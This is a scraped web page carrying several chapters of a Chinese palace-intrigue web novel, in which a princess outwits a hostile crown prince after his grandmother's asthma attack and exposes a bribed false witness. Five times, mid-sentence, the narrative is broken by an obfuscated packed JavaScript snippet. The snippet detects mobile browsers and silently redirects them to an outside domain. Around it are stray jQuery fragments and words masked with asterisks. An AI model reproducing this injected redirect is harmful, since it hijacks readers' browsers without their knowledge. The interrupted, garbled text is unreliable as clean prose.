“外祖母,你怎么了,快传太医。”太子急忙快步上前,托住盛老夫人,这才将苏清瑶从中解脱出来。 她只觉得双手酸痛,眼泪几乎都要落了下来。 “你对外祖母做了什么?”太子见有太监急匆匆的去找太医了,才转身厉声喝问苏清瑶。 “我什么都没做。”苏清瑶本还觉得有点委屈,此时她不敢委屈,使劲的摇头。 “太子殿下,从这里到宫里路途遥远,要不先让府医给看一下吧。”张彩蝶毕竟老成,急忙建议道。 “还不快去。”太子心情十分不爽。 苏清华低头看那盛老夫人,只见豆大的汗珠自她脸上滚落,每呼吸一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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盛老夫人服了此药,便相当于今日未服药,这哮喘之症不能接触花粉,灰尘等物品,今日众多女子身上都撒了大量香粉,尤其是苏清瑶,她亲手扶着老太太,便等于亲手害了她。 苏清华本只是想稍微惩戒一下这老太太,没想到歪打正着,正好给她争取到了时间。 “今日还有的等,我们不如先休息一下吧。” 第一百三十六章 陈年旧疾 自从苏赫掌家,便安排了人每日打扫,所以她的院子还是很整洁。 翠竹熟练的去找被子,褥子,给她们铺上。 苏清华顺势躺下,秦静姝虽睡不着,不过也躺在苏清华旁边,闭目养神。 祖父说过,越是遇到事情,越是要冷静! 这边一片娴静,苏清瑶的院子却热闹非凡。 太子将老夫人抱到苏清瑶床上放下,可老夫人症状却更严重起来。 断断续续的气音从喉咙里挤出来,脖颈上青筋暴起,嘴唇渐渐泛出青紫。 府医来的倒是快,可他把脉半天,也诊不出什么病症。 不过她见老夫人呼吸困难,便立即将屋子里的人散开,并让人将窗户打开,让清新的空气流进来。 这一番操作,确实令老夫人病症,缓解了不少,不过经过此一番奔波,她已昏倒过去。 “外祖母到底怎么了?可是**导致?”太子眼神凌厉,质问到。 “奴才无能,并未发现老夫人的病因,不过老夫人并无**的脉相。” “废物,老夫人若是出了问题,你也不用活了。” 府医不敢胡乱开药,可也不敢什么都不做,他内心不断祈求,祈求老夫人有惊无险,祈求太医赶快到来。 “老夫人在这,太医,快进去吧。” 太医进到屋里,放下药箱,便执起老夫人发白的手,把起脉来。 太子见太医驾到,内心舒了一口气,转身吩咐随行太监:“你带着这府医一起,去把今日老夫人用过的东西,都仔仔细细查一遍,看是否有人故意陷害?” 那太监躬身称是。 那府医见状,如蒙大赦,医毒不分家,他虽不能诊断老夫人病症,可给器具验毒,她还是有信心的,毕竟哪个大夫,不会随身携带些器具,专门用来验毒? 那府医离开之后,太子又回到老夫人床前,等待着太医诊治的结果。 “这屋子不适合老夫人病症,还是先尽快给老夫人换个房间吧。” 太医看了看这屋子布局,明显是女子的,虽开着门窗,可屋内仍是香气四溢。 “王太医,我外祖母到底是怎么了?” “老夫人这是哮喘之症发作。此病最忌讳的就是香粉、灰尘等物品。此房间香味肆意,对盛老夫人的身体,乃是大忌。”王太医对着太子行了一礼回到。 “哮喘之症?王太医你可确定?这病不是一般自小有吗?我外祖母这么大年纪了,怎会忽然发作?你确定她不是中了某种毒?”太子挑着眉,不可置信的看着王太医问道。 “老夫人的脉象显示,她早就犯有此症,只不过一直服用药物压制,没有发病而已,太子若是信不过老臣的医术,也可另请高明。” 对方虽是太子,可既然不信任他的医术,他便不会再出手。 太子见对方如此态度,明显的不悦,刚要发作,一旁的柳嬷嬷忽然跪倒在地。 “太子殿下,老奴斗胆,请您先听从王太医吩咐。稍后我会单独跟你解释此事。” 太子看着跪在地上的李嬷嬷,眉头不由紧皱。 柳嬷嬷是外祖母的陪嫁丫鬟,自小便跟着外祖母,她虽是奴仆,可她伺候外祖母多年,对外祖母忠心耿耿,甚至终身未嫁。 外祖母早已将她当成家人,太子对她也向来敬重。 “那外祖母此时可方便回府?”太子看向王太医问道。 他此时已不想在苏家久留,只想尽快送外祖母回府。 “盛老夫人清醒以前,最好不要长距离搬运,若是路上颠簸,导致呕吐,食物堵塞气管,会更加危险。”王太医如实回答到。 “太子殿下,要不将盛老夫人,移至我的屋子?我那里向来不用香粉,只用檀香。” 张彩蝶见状,急忙主动建议。 太子没有再反驳,点了点头。 张彩蝶急忙安排人,很快便将盛老夫人移至她的房间。 王太医趁此机会给开了药方,太子看了一眼柳嬷嬷,见她一脸急切的点头,他没有再犹豫,转身交给张彩蝶,让她安排人去煮药。 张彩蝶哪里敢耽搁,立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643496|169819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻安排人从药房取药,然后到她的小厨房煮了起来。 恰逢此时,府医那边也有了结果。 “太子殿下,今日宴会上所有器具,均无毒。” “你确定?”太子反问。 “我敢用性命担保。”府医信誓旦旦。 太子点了点头,让府医先退下。 那府医内心不由庆幸,今日算是捡了一条命。 太子随即将柳嬷嬷跟太医,单独召进一个房间。 “柳嬷嬷,外祖母的病到底怎么回事?” 柳嬷嬷微微叹了口气,开口道:“其实小姐从小便有哮喘之症,这是她的陈年旧疾,老爷与夫人为了不影响小姐亲事,便故意将此事瞒了下来。后来老爷找到一个神医,得到一份治疗此症的良方,小姐每日服用药丸,甚至偶尔遇到花粉,也不会发病。知道此事的人甚少,现在这世上除了小姐,便只有老奴了。” 柳嬷嬷一五一十将盛老夫人的秘密,慢慢的讲述出来。 太子听着柳嬷嬷的讲述,眉头不由越皱越紧,开口问道:“你的意思是,外祖父在世之时,也不知此事?” “是。不止老爷不知道,便是皇后也不知此事。”柳嬷嬷低头回到。 “那外祖母每日服用的药丸,竟不是为了美容养颜,而是为了克制此症的吗?” 外祖母每日需服用药丸,太子作为他的外孙,又怎会不知,可自他懂事,便听母亲说,祖母这么做,都是为了美容养颜。 他内心虽是奇怪,外祖母早已年迈,外祖父也已去世,为何外祖母还坚持服用此药丸?可这毕竟是外祖母的私事,他也不敢过多过问。 无论如何,他都想不到,真相竟是如此! “那今日外祖母来苏府之前,可服用过药丸了?” “服用过了,是我亲自拿给她的,所以刚刚老夫人发病,我便一时没往那方面想。” 柳嬷嬷内心即心虚又后怕。 幸好王太医来的及时,盛老夫人没事,否则她作为贴身丫鬟,又是唯一知情人,便是罪无可恕。 第一百三十七章 做贼心虚? 其实这事不止是她,便是盛老夫人自己,想是也将此事忘了。 实在是因为,盛老夫人自服用药丸以来,这都几十年了,从未出过任何差错呀! 太子看出柳嬷嬷的心虚,不过他并没有追究,她毕竟是外祖母的陪嫁丫鬟,便是处置,也需要外祖母亲自过问,他作为晚辈,若是插手过多,反而成了对外祖母的不敬。 于是,他转身问王太医:“王太医,你可知道,外祖母明明已用过药,今日为何会忽然发作?” “具体的原因,老臣一时也不敢妄言,不过老夫人服用药物多年,对那药丸产生了耐药性,也是有可能的。”太医认真分析道。 “那这次发病,对外祖母影响可大?以后那药丸,她是否还需继续服用?” 王太医摸了摸胡须,略一思索,说:“盛老夫人此次犯病,救治的还算及时,对以后影响倒是不大,至于这药丸,我也不知其药性如何,所以不敢随便论断,无论是否继续服用,以后在饮食生活中,都需特别注意,千万别接触花粉,香料!” “那老夫人何时能醒来?” “老夫人年迈,所以我不敢开猛药,即使服了我的药,尚需一个多时辰才可醒来。” “那便劳烦王太医,在外祖母醒来之前,在此等候。” “不敢,这是老臣的职责所在。” 对方毕竟是太子,只要不置疑他医术,王太医也不会去得罪对方。 柳嬷嬷与王太医留在张彩蝶的院子,伺候盛老夫人服药。 太子则再次来到苏府正厅。 只见今日来做客的几位夫人,脸色如丧考妣,在里面走来走去,坐立难安。 她们本只是出来参加个宴会,可先是吃了一手好瓜,这也倒罢了,如今盛老夫人忽然晕倒,太子责令任何人不得离开,她们只怕会城门失火,殃及池鱼。 “太子殿下,盛老夫人可醒了?”其中一个夫人见太子进来,急忙上前问道。 “尚未苏醒,麻烦众位多在此等候片刻,只要外祖母苏醒无事,我便会立刻放众位离开。可若是她出了任何差池...”太子声音不大,却饱含威严。 他如今虽知道盛老夫人是旧疾复发,可他并不打算放过这个,威胁苏清华的机会。 太子在厅内巡视一圈,并未发现苏清华的身影,内心的恼意更浓。 “我不是说了,外祖母苏醒之前,不许任何人离开吗?是谁率先离开了,可是因为心虚?” 厅内众人面面相觑,不敢回答,她们刚刚还十分兴奋,想着尽快出去,将今日所见所闻,特别是苏赫可能不是苏家血脉的事,好好跟他人八卦一番的心,也早就凉了下来。 她们此时只可以全身而退,今日战火不会波及到她们身上。 “苏清华呢?她可是心虚先逃走了?”苏清瑶见状,急忙开口询问苏府的奴仆。 “回小姐,清华公主与秦小姐,没有离开,而是回了她自己的院子。”管家急忙回道。 “自己的院子?她早已不是苏家人,哪来的自己的院子,再说,盛老夫人尚未苏醒,她却丝毫不关心,真是没有家教!”苏清瑶语气不善。 “李嬷嬷,有人侮辱我,你还不帮我给她掌嘴?” 还未等众人反应过来,李嬷嬷便走到苏清瑶面前,狠狠的扇起对方来。 皇上已下了命令,让她以后不用监视苏清华,她非但没有失望,觉得自己对皇上已失去价值,反而内心喜悦。 她跟着苏清华这么久,早就看的明白,她不是一般的闺阁小姐,她胸有沟壑,心机手段皆不一般。 她若继续跟她作对,必不会有好下场的。若是一心对她,反而有可能得到善终。 她虽不奢求会得到翠竹一般的待遇,至少不用日日担心,两边不讨好。 所以李嬷嬷对苏清华的吩咐,如何能不积极执行? 苏清瑶被当着这么多人扇脸,又羞又怒,恨不得立刻将苏清华杀了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643497|169819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“太子殿下,您看,她竟敢当着你的面,如此放肆,她根本没将你放在眼里。”苏清瑶早就见识过苏清华的厉害,也只敢背后蛐蛐几句,如今当着苏清华面,她不敢与她直接对抗,只好求助太子。 “你以为谁都跟你一样,眼里只有太子,眼睛恨不得粘在太子身上?”苏清华说话毫不客气。 今日在这苏府被张彩蝶如此设计,她心情也不是很爽,先在苏清瑶身上讨点利息,解解气也不错。 “清华公主,你虽是天韶公主,父皇为了两国和平,给了你诸多尊重和特权,可你公然殴打官家女子,也太不将赵阳放在眼里了吧?”太子质问出声。 “苏清瑶用你压我,太子殿下直接用整个赵阳压我,怪不得,你俩整天喜欢往一起凑,倒是般配的很!刚才是她先公然侮辱我,难道太子没听见?还是太子早就对苏清瑶心有所属,故意帮她混淆是非?”苏清华找了个座位坐下,眼神挑衅的看着太子。 “你...”太子见她确实没将自己放在眼里,不由更加恼火! “刚刚我说不许任何人离开,你为何要偷偷离开?是不是做贼心虚?我外祖母忽然晕倒,是不是你下的毒手,快快将解药交出来!”太子心里明白,刚才的事,苏清瑶确实不占理,于是便转移话题。 他就是要将外祖母晕倒的原因,扣到苏清华头上,看她还如何嚣张? “太子殿下平日办事就是这么办吗?毫无证据,信口雌黄?怪不得刚才会轻信一个无赖的话,竟想联合张夫人,污蔑我大哥跟她姨娘的清白。赵阳国将来若真是交到你的手里...”苏清华轻轻的摇头,嘴里渍渍出声。 “你放肆!竟敢如此侮辱我赵阳,今日我若是咽下这口气,便对不起赵阳几千万百姓!”太子殿下大声喊道:“柏枝,上去帮我教训一下,这不识好歹的苏清华!” 柏枝闻言,疾步上前。 “啊...”他刚伸出右手,便被一个尖锐之物刺痛,不由惊呼出声。 第一百三十八章 太子出手 他低头看去,只见一根银针,扎在他的手背上,从银针往上,整个右臂都疼痛难忍,好似有千虫啃咬。 太子见他叫的如此大声,只觉得脸上更是无光,怒斥道:“吆喝什么?不过一根银针而已,至于叫这么大声吗?” “银针上有毒。”柏枝忍着疼痛回答,此时他不止右臂,便是整个右半身都如万蚁啃咬,豆大的汗珠,从额头滚滚落下,身上的衣衫也几乎湿透。 “你果然会毒,刚才盛老夫人,肯定是你毒害的。”太子见机,不忘给苏清华扣帽子。 “盛老夫人是不是**,我相信太子心里比我清楚,我劝太子还是想好了再说,否则我定会让皇上给我一个交代,若是整个赵阳都找不出一个,能诊出盛老夫人病因的大夫,我也不建议给天韶写信,让我皇兄派神医来帮盛老夫人医治。”苏清华不屑的说道。 “至于我银针上,我承认,我确实上了毒,不过并不致命,只是会疼上七天七夜而已,毕竟我身为女子,身份如此特殊,若不有点特殊手段,岂不是任人欺辱?” 自从上次春猎,苏清华便将银针上喂了毒,虽不致命,也会让人生不如死。 “啊...太子救我...”柏枝此时已坚持不住,剧烈的疼痛让他不由呻吟出声,若是已这种痛法,痛上七天七夜,还不如一刀杀了他。 “滚...”太子嫌弃他丢人,不耐的挥挥手,让他尽快滚出这屋子。 “慢着,你主子不拿你当人,我却见不得你受苦,毕竟刚才出手,你也是听命为之,不得不为。” 说着,苏清华从袖中取出一个药丸,扔在地上。 柏枝见了那药丸,来不及深思,便立刻上前去拿,只是他手刚接触到药丸,便被一只脚踩住。 他抬头看去,却见太子脸色阴沉,犹如看**一般看他。 他常年跟在太子身边,当然知道这眼神意味着什么? 当太子松开脚,他仍是将药丸捡起来,说:“清华公主侮辱主子,我作为奴才,替太子教训你理所应当,我自己无能,辜负了主子多年培养,又怎会贪生怕死,听你挑拨离间?” 说着,用完好的左手,使劲往外面一扔,将那药丸丢出老远。 他小心的抬头观察太子,见他脸色缓和,才不由松了口气。 “属下无能,先下去领罪。”见太子微微点头,方才忍着剧痛转身离去。 苏清华见状并不再阻拦。表面看她好似没有挑拨成功,实际上,在柏枝与太子之间,她已经**了一根刺。 太子横了苏清华一眼,又看了看厅内其他众人。 他暗地做了几个深呼吸,强压着怒意,想着接下来该如何反制苏清华,才能将刚才丢的面子找回来。 “众位夫人,我相信陷害外祖母的凶手并不在你们之中,刚才耽误你们这么长时间,实在抱歉,我在此表示歉意,你们现在可以回家了。” 太子殿下瞬间便想到了对策。 下一瞬,他果然在苏清华跟秦静姝脸上发现了一丝慌乱。 太子不由暗中窃喜,他就知道,她现在最担心的,便是这些人将苏赫身份有疑的事传出去。 “我大哥的事,尚未有定论,若是被我知道,谁敢将莫须有的事传出去,别怪我到时不客气。”苏清华见天五还未归来,只好直接出言恐吓。 有几个胆子小的夫人,急忙使劲点头。 太子殿下,跟清华公主都不是她们惹得起的,她们只想躲得越远越好。 “清华公主,当着本殿下的面,你便敢公然威胁我赵阳子民?苏赫生母若是没做亏心事,又何必担心别人怎么说?莫不是清华公主也不相信苏赫真是苏家血脉?” “我这不是威胁,只是善意的提醒。虽是清者自清,奈何世上庸人多之,只怕有些人不懂鉴别,再以讹传讹,到时候结果出来,只怕丢的还是这些庸人自己的脸,那吴峰一看就是个无赖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643498|169819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个无赖的胡言乱语,大家还是不要瞎传的好。” 苏清华转头又看着太子说:“倒是太子,大哥现在在边境为赵阳把守大门,此事不枝关系到苏家的传承,更是关系到赵阳的安危,你作为太子,在事情还没有定论的情况下,非但不帮忙阻止这些流言蜚语,反而一直在搞挑唆对立,我实在是为赵阳的未来担心呀!” 苏清瑶听着苏清华竟敢直接讽刺太子,又是嫉妒又是愤恨,看着苏清华的眼神都要喷出火来,其他众人却是瞬间对苏清华充满了畏惧。 其中有几个胆小的,甚至瑟瑟发抖起来,苏清华对太子都如此强势,对付她们肯定易如反掌,所以都暗自下定决心,绝对不会将此事传出去,以免引来灾祸。 可也有几个胆大的,想到此中关键,若是趁机将此事传扬出去,便是已与太子站在统一战线,待来日太子登基... 太子此时对苏清华已恨到了极点,他失去了往日的温和,而是怒目急斥道:“你一直在挑唆我与众人的关系,才是目的不纯吧,清华公主一直说吴峰胡言乱语,可有证据?” “当然有证据!”一个坚定沉稳且充满磁性的声音传来。 众人随着声音望去,只见门口站着一个墨色身影,正是宋墨渊,他剑眉下一双墨玉般的眸子,流转着洞悉世事的锋芒,举手投足间既有世家公子的清贵,又暗藏运筹帷幄的智慧。 厅内众位夫人小姐,并未见过宋墨渊,此时只被他的气质吸引,暂时忘记了刚才剑拔**张的紧张氛围。 “表弟来凑什么热闹?难不成你也动了凡心,想来英雄救美?”太子见到宋墨渊,面色更加深如墨色。 他今日已经够丢人,若是宋墨渊再来故意跟他作对,只怕他就无脸在赵阳城立足了。 宋墨渊没有直接没有搭理太子,而是直接迈步上前,找了一把椅子坐下,随后对着跟在身后的一位中年男子说:“你来说说,关于吴峰的事吧。” 第一百三十九章 必死无疑 “我是赵阳城里,最大的赌坊-万金赌坊的老板,吴峰在三日前,忽然来的我的赌坊,我之所以记得如此清楚,是因为他来的时候,浑身破破烂烂的,看门的小厮担心他**,一开始没放他进来,我正好那日去查账,发现了此事,便跟小厮说,来者是客,我们开门做生意,没有将客人挡在门外的道理。” “那小厮说,他一看便不像有银子的样子,进去岂不是耽误了别的客人雅兴?” “我说即使没银子,只要守赌坊的规矩,来见识一下,我们也是欢迎的。小厮这才放他进来。” “只是我没想到,他却不是只来长见识的,他坚持要下场**,小厮让他拿钱,他却说他是当今靖远侯的亲舅舅,让我们直接记在苏府账上。” “他虽是打扮简朴,可若真是靖远侯的舅舅,我们也得罪不起。不过小厮留了个心眼,让他先拿出凭证,他真的从口袋里,拿出一个苏府的腰牌。” 我亲自验证了腰牌的真伪,那腰牌千真万确,出自苏府。 既然真是苏府亲戚,我们是不敢得罪的,便任由他下注开赌。他在赌坊呆了一天,将所有堵法都玩了个遍,直接输了一百多两银子。 我们拿着他亲手画押的欠条,来苏府要债,可当今苏侯爷却说,他根本不认识这吴峰,也不会帮他还债。 我本以为这几十两银子注定是打了水漂,可就在前几天,他却又再次来到赌场。 这次我们小厮不用我吩咐,直接将他绑了,要他还钱,他还真从兜里掏出了一百两银票。接着他又连赌三天,只不过他运气不好,赌技也实在拙劣,还贪得无厌,不知道见好就收,这次输了几千两银子。 可惜他身上只带了几百两银票,即使都拿出来,还欠我们上千两,我们的规矩是欠的银子超过千两,便要将人压下。 就在我们小厮要绑住他之际,他却又说他认识侯府的人。 我们这次是不信了,告诉他靖远侯亲口所说,根本不认识他。 他却说他认识的是侯府二公子,苏喆。只要派人跟他去一趟侯府,过不了几日,他便可以还清赌债。 我便派了两个侍卫跟着他,见他真的进了苏府,而且苏府的二公子亲自接待,这才信了他的话。” 那赌坊老板拿出一张欠条,递给苏喆说:“苏二公子,请你帮吴峰还了这一千两赌债吧。” “是他欠下的赌债,为何要我偿还?”苏喆见状急忙出言反问。 “那请苏二公子将人交出来,按照规矩,我们要将其带走,想办法让其便偿还赌资。”赌场老板说道。 苏喆闻言立刻吩咐小厮,说:“将吴峰带过来,交给他。” 刚才众人散去之时,苏喆听从母亲命令,早命人将吴峰看好。 “慢着。”张彩蝶忽然出声阻止。 令场上的人,皆是一惊。 张彩蝶内心不由为儿子的蠢笨叹息。 吴峰若是被带走了,就他那软骨头,一会儿功夫,便会将什么都招了。 “张夫人什么意思?莫非是想帮他还赌债?”宋墨渊清冷的声音响起,眼神冰冷的瞟向张彩蝶。 “宋公子说笑了,我跟吴峰素不相识,如何会帮他还债?只是此事太过凑巧,让我不得不怀疑,是有人故意安排!”张彩蝶不敢看宋墨渊,只意有所指的看着苏清华。 自从宋墨渊出现,现场的夫人都感受到他的冷气。 她们虽从未见过宋墨渊**,可他的大名却时有听闻。 深受皇上宠爱,行事随心所欲! 所以她们不敢再像刚才一样,窃窃私语,只敢在内心嘀咕:这宋公子忽然登场,不知到底意欲为何? 眼下看着,倒像是想帮助苏清华,只是不知这苏清华为何如此好命,不仅得到天韶太子赏识,如今又得到向来清冷的宋墨渊青睐! “那就将吴峰带过来,当面对峙。”宋墨渊缓缓开口,语气里满是不容反驳。 张彩蝶望向太子,见他也不吭声,只好对儿子点点头,不敢反抗。 不一会儿,吴峰便在小厮的带领下,再次返回到大厅。 “吴峰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643499|169819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你可认得他?” 他刚一进门,碧山便率先发问。 “不认得。”吴峰想也不想,立刻否认。 张彩蝶曾告诫过他,让他躲在暗处,不可随意活动,他擅自去赌坊,若是被她知道了,那定好的一千两赏银,必是打水漂了。 “胡说,我这可有你亲手画押的欠条。即便你不想承认,也是不可能,况且当日赌场里不止你一人,你穿的如此破烂,又玩的那么尽情,必定会很多人注意到你。”赌坊老板见他矢口否认,急忙开口警告。 “就算我去过赌坊又如何?难道赵阳有哪条律法规定,我不能去赌场?” “赵阳是没有规定,你不能去赌坊,可我怀疑你的银子来路不正,以你的身份,便是一辈子也挣不到一百两银子,你拿去赌场的银子,到底是怎么得来的?还有你欠下的一千两银子,准备如何偿还?你若是说不出合理的出处,我便要将你羁押到大理寺,审问个清楚。”碧山站在跪倒在地的吴峰面前,俯视着他,大声质问。 “当然是苏公子给我的...” 吴峰听说要去大理寺,急忙开口解释。 “咳咳...” 吴峰一听见咳嗽声,急忙抬头看向张彩蝶。 看见她**的眼神,他内心不由更加不知所措。 “苏公子,你为何要给吴峰银子?可是为了收买他做伪证?”秦静姝见状,开口问道。 “不是,我说的苏公子,是指苏赫,他是我的外甥,给我银子天经地义。” 吴峰脑筋急转,终于想到合理的解释。 “你不是一直自称他的表舅吗?又怎会用苏公子,这么疏远的称呼他?”秦静姝问。 “我..我,他如今已身为靖远侯,我不敢放肆。”吴峰小心答道。 “不敢放肆,还称他苏公子,而不是靖远侯?若是放肆起来,你待如何?”秦静姝继续说:“给你银子的是苏喆吧?他是不是答应你,只要你帮着做伪证,便可以给你一千两银子?否则你又哪来的自信,可以还上上千两赌债?” 第一百四十章 吴峰** “我没有。”吴峰急忙矢口否认。 他如今十分后悔,听了张家奴仆的蛊惑,从家里不远百里赶到都城,如今别说是银子,便是命恐怕也要交代到这里了。 他内心此时恨极了张彩蝶与苏喆,若不是他们,他也不会到如此境地。 可他也清楚的知道,他将此事死咬到底,还有一线生机,若是承认帮忙做伪证,不止张家不会任他活着离开,便是赵阳法律,也不会让他有活命的机会。 诋毁当朝靖远侯,那是必死无疑呀! “你现在不承认没关系,到了大理寺,有的是办法让你开口,碧山,直接将他交给大理寺”宋墨渊再次开口。 “是。”碧山二话不说,提溜起吴峰便往外走。 “啊。”刚走到门口,吴峰惨叫一声,便摔倒在地,一动不动。 只见他胸口中箭,显然是**。 碧山往箭来的方向看去,只见院子的一棵树上,藏着一个灰影。 碧山立刻提气往那棵树奔去,只见那灰影转身便逃。 碧山又手甩出,一个梅花镖朝着对方腿部飞去,正好击中他右腿。 那人右腿受伤,掉落在地,眼见碧山就要抓住他,忽然他从袖中拿出一颗药,丢进嘴里,接着他便口吐鲜血,倒了下去。 碧山前去检查一番,随即返回大厅,对着宋墨渊拱手道:“主子,他已服毒**,身上无明显的标志。” “表弟,你竟敢安排手下,杀害人证,你到底为什么这么做?”太子率先发难。 宋墨渊直视太子,反问道:“你哪只眼睛看见是碧山动的手?刚才虽事发突然,但正常人都可以看出,碧山是在保护他,杀吴峰的人是那灰衣人。” “那灰衣人必是清华公主派的喽?”太子内心虽厌恶宋墨渊,可到底也明白,他此时真正的目标是苏清华。 至于宋墨渊,早晚有机会,他必会让他,跪在他的脚下! “太子是不是不止眼睛不好,脑子也不好?刚才的形势,明显是对我跟大哥有利,吴峰污蔑大哥,与人勾结擅作伪证,此事昭然若揭,只要将人交给大理寺,便可以真相大白,我又怎会暗下黑手,让大哥名声永远不明?”苏清华不止指破其中漏洞,而且还借机骂了太子。 太子闻言,强忍怒火,继续发难:“那你的暗卫呢?天韶太子送你一名暗卫,刚才服毒自尽的,不会正是他吧,我可是听说天韶暗卫忠诚的很,一旦任务失败,便会服毒自尽。” 苏清华嗤笑一声:“我的暗卫怎会如此不济?” 太子坚持道:“那你便把他叫出来,证明自己的清白。” 太子之所以如此坚持,是因为他的侍卫,刚才偷偷告知他,看着苏清华吩咐了暗卫什么,那暗卫便离开了苏府。 他虽不知道她派他干嘛,但趁机污蔑她一下,还是可以的。 “赵阳太子,你找**嘛?”天五瞬间落在太子身后,吓得他一惊。 太子瞅了一眼身后的侍卫,“你们都是干嘛吃的,有人靠近我,你们不知道?” “属下该死。” 太子懒得搭理侍卫,继续说:“即使天五现身,也不能证明公主完全清白。” 张彩蝶也再次出声:“苏赫血脉若是不怕查,清华公主又何必处处阻拦?莫不是你信不过太子殿下的公正?” “正是,太子殿下连吴峰这等人都相信,刚才又睁眼说瞎话,分不清杀了吴峰,对谁有利,我如**得过他?” 苏清华的直言不讳,不止令张彩蝶一时哑口无言,便是太子都气得失了声。 现场一时陷入了尴尬的寂静。 终于过了良久,太子才找回自己的声音,说:“清华公主越是如此说,越代表你心虚,我甚至怀疑,此事可能是你们与天韶的阴谋,苏赫血脉之事,我必会查清,不止是为了苏家,也是为了整个赵阳。 宋墨渊站起身,对太子投去不屑的目光:“太子真的是为了赵阳吗?你可想清楚了?苏赫如今在边境,若是边境动荡,到时候渔翁得利的到底是谁?” “没有苏赫,我赵阳边境 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643500|169819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也照样安稳,即使真的有人敢异动,张大将军也会身先士卒,保护我们,我不信,我赵阳还离不开他一个血脉不清,初出茅庐的苏赫!” 宋墨渊刚要说什么,苏清华轻轻拉了他一下,并给了他一个安心的眼神。 宋墨渊见状,知道苏清华另有对策,便没有再说话。 苏清瑶看见了苏清华的小动作,她朝着苏清华一个得意的表情,暗想:“算你识相,宋墨渊虽是得赵阳帝宠爱,可太子才是赵阳未来的皇上。” 太子见宋墨渊闭嘴,心里也不由得意:“他终于看清现实,知道他才是赵阳一人之下万人之上的太子。” “好了,如今天色不早了,大家若是没事,可以先行离开了。今日不管多晚,我都会将此事告知父皇,尽快将苏赫调回,接受调查。”太子高声吩咐。 其他众人不由暗舒一口气,终于可以回家了。 赵阳太子不愧是太子。 “慢着!” “清华公主还有什么说的?” “不用大哥回来,也有人可以证明大哥清白。” “清华公主莫不是急傻了?除了让苏赫回来滴血认亲,还有什么办法可以证明他的身世?” “老奴可以证明。”一个深沉且苍老的声音传来。 众人朝着声音方向看去,只见一个六十多岁的老妇,站在那里。 “你是谁?胆敢到靖远侯府大放厥词?”张彩蝶怒斥道。 “张姑娘不认识我了,是呀,过了十几年,不止我老了,张姑娘也苍老了很多,若不是说话还是跟原来一样,令人十分不喜,我也不可能一下认出你来...” 张彩蝶闻言,仔细打量着对方。 “你到底是谁?”张彩蝶问道,她仔细回忆半天仍是没有想起对方身份。 那老妇观察了一下周围的院子,最后目光落在不远的池塘处,说:“虽然我们都老了,可这池塘的莲藕却都长大了,记得当年还是我家小姐,当年只有几簇,命人种下的,如今它们竟已经铺满池塘。” 第一百四十一章 血脉无疑 “你...你是孔嬷嬷?”张彩蝶双眼瞪大,不可置信的说道。 “是,张夫人记性不错,竟还能记起老奴。”那老妇缓缓开口,眼睛不由扫向天五身边的苏清华。 “你竟还没死?”张彩蝶瞪大了眼珠,语调也带着颤抖。 张彩蝶如此失控,苏清华还是第一次见,当初她因为刺客之事,身陷牢狱,也没有此时失态。 “是呀,所有人都以为我**,只可惜,小姐大仇未报,我尚有三个愿望没有达成,又怎会轻易死去?” 